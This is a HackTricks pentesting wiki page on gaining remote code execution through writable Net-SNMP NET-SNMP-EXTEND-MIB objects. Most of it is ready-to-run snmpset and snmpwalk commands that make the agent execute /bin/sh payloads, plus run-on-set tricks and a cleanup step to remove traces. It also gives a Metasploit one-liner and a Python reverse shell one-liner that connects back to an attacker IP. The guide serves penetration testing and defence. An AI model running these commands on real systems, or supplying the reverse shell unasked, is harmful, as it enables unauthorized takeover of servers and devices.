---
title: "SNMP RCE"
section: "Network Services"
sectionSlug: "network-services-pentesting"
sourcePath: "src/network-services-pentesting/pentesting-snmp/snmp-rce.md"
sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-snmp/snmp-rce.md"
sha: "188de82beb54e70956b2952367a0af91d26758b8"
isIndex: false
modified: true
license: "CC-BY-NC-4.0"
---
# SNMP RCE
On Net-SNMP, a community string or SNMPv3 user with write access to the wrong OIDs can be much more dangerous than simple configuration tampering. If `NET-SNMP-EXTEND-MIB` is writable, an attacker can create an extension command that the agent executes with the `snmpd` process's privileges.<sup>[[1]](#references)[[2]](#references)</sup>
This technique is mainly about **Net-SNMP** systems exposing **`NET-SNMP-EXTEND-MIB`** with a community/user allowed to **write** into the tree.
## Quick Triage
Before trying to create a new command, enumerate whether the target already exposes **extend** entries and whether your credentials can read the output objects:
```bash
snmpwalk -v2c -c <COMMUNITY> <IP> NET-SNMP-EXTEND-MIB::nsExtendObjects
snmpwalk -v2c -c <COMMUNITY> <IP> NET-SNMP-EXTEND-MIB::nsExtendOutput1Table
```
Interesting objects to read back are:<sup>[[1]](#references)</sup>
- **`nsExtendCommand`**: absolute path that will be executed
- **`nsExtendArgs`**: arguments passed to the binary/script
- **`nsExtendOutput1Line`** / **`nsExtendOutputFull`**: stdout of the executed command
- **`nsExtendResult`**: exit code of the command (useful for quick checks, but limited to **0-255**)
If local MIBs are missing, the extend subtree is under **`1.3.6.1.4.1.8072.1.3.2`**.
## Extending Services with Additional Commands
To extend SNMP services and add extra commands, it is possible to append new **rows to the `nsExtendObjects` table**. This can be achieved by using the `snmpset` command and providing the necessary parameters, including the absolute path to the executable and the command to be executed:<sup>[[2]](#references)</sup>
```bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'
```
## Injecting Commands for Execution
Injecting commands to run on the SNMP service requires the existence and executability of the called binary/script. The **`NET-SNMP-EXTEND-MIB`** mandates providing the absolute path to the executable.
To confirm the execution of the injected command, the `snmpwalk` command can be used to enumerate the SNMP service. The **output will display the command and its associated details**, including the absolute path:<sup>[[2]](#references)</sup>
```bash
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
```
## Running the Injected Commands
When the **injected command is read, it is executed**. This behavior is known as **`run-on-read()`**. The execution of the command can be observed during the `snmpwalk` read.<sup>[[2]](#references)</sup>
A practical pattern is to execute `/bin/sh` (or `/usr/bin/python3`) and pass the real payload in `nsExtendArgs`:
```bash
snmpset -m +NET-SNMP-EXTEND-MIB -v2c -c SuP3RPrivCom90 10.129.2.26 \
'nsExtendStatus."id"' = createAndGo \
'nsExtendCommand."id"' = /bin/sh \
'nsExtendArgs."id"' = '-c id'
snmpget -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendOutputFull."id"
snmpget -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendResult."id"
```
## `run-on-set` and Cache Abuse
Net-SNMP also supports **`run-on-set`** entries. This is useful if you want to avoid triggering the command every time somebody performs a read on the output objects.<sup>[[1]](#references)</sup>
```bash
snmpset -m +NET-SNMP-EXTEND-MIB -v2c -c SuP3RPrivCom90 10.129.2.26 \
'nsExtendStatus."oneshot"' = createAndGo \
'nsExtendCommand."oneshot"' = /bin/sh \
'nsExtendArgs."oneshot"' = '-c id > /tmp/snmp_id' \
'nsExtendRunType."oneshot"' = run-on-set
snmpset -m +NET-SNMP-EXTEND-MIB -v2c -c SuP3RPrivCom90 10.129.2.26 \
'nsExtendRunType."oneshot"' = run-command
```
The output is cached by default for **5 seconds**. Newly created rows are **`volatile`** by default (they do not survive agent restarts), while statically configured `extend` entries usually appear as **`permanent`**. Setting **`nsExtendCacheTime`** to **`-1`** disables caching, but note that reading each individual output object can then execute the command again.<sup>[[1]](#references)</sup>
```bash
snmpset -m +NET-SNMP-EXTEND-MIB -v2c -c SuP3RPrivCom90 10.129.2.26 \
'nsExtendCacheTime."oneshot"' = -1
```
## Cleanup
The created row can be removed after execution to reduce artifacts:
```bash
snmpset -m +NET-SNMP-EXTEND-MIB -v2c -c SuP3RPrivCom90 10.129.2.26 \
'nsExtendStatus."oneshot"' = destroy
```
## Gaining Server Shell with SNMP
To gain control over the server and obtain a server shell, a python script developed by mxrch can be utilized from [**https://github.com/mxrch/snmp-shell**](https://github.com/mxrch/snmp-shell).<sup>[[2]](#references)</sup>
Alternatively, a reverse shell can be manually created by injecting a specific command into SNMP. This command, triggered by the `snmpwalk`, establishes a reverse shell connection to the attacker's machine, enabling control over the victim machine.
You can install the pre-requisite to run this:
```bash
sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt
```
Interactive-ish shell:
```bash
rlwrap python3 shell.py <IP> -c <COMMUNITY>
```
If you need to push a longer payload (for example, an SSH public key), the project also ships a **`legacy.py`** helper because writable SNMP string length is usually the limiting factor.
Or a reverse shell:
```bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
```
## Other Useful Tooling
Metasploit contains **`exploit/linux/snmp/net_snmpd_rw_access`**, which automates staging through writable extend objects when the target configuration permits it:<sup>[[4]](#references)</sup>
```bash
msfconsole -q -x 'use exploit/linux/snmp/net_snmpd_rw_access; set RHOSTS <IP>; set COMMUNITY <COMMUNITY>; run'
```
## Recent Real-World Example
This is still a current attack path and not only an old lab trick. In **June 2024**, Pierre Kim documented **pre-authenticated root RCE** in multiple Toshiba MFP models because they exposed SNMP configuration with default communities (`public` for RO and `private` for RW), allowing the exact same **`NET-SNMP-EXTEND-MIB`** technique to run `/bin/sh -c id` and reverse shells remotely.<sup>[[3]](#references)</sup>
## References
- [1] [NET-SNMP-EXTEND-MIB definition](https://www.net-snmp.org/docs/mibs/NET-SNMP-EXTEND-MIB.txt)
- [2] [Rio Asmara - SNMP Arbitrary Command Execution and Shell](https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/)
- [3] [Toshiba MFP: 40+ vulnerabilities (pre-auth root RCE via SNMP)](https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html)
- [4] [Rapid7 Metasploit - Net-SNMPd write-access code execution](https://www.rapid7.com/db/modules/exploit/linux/snmp/net_snmpd_rw_access/)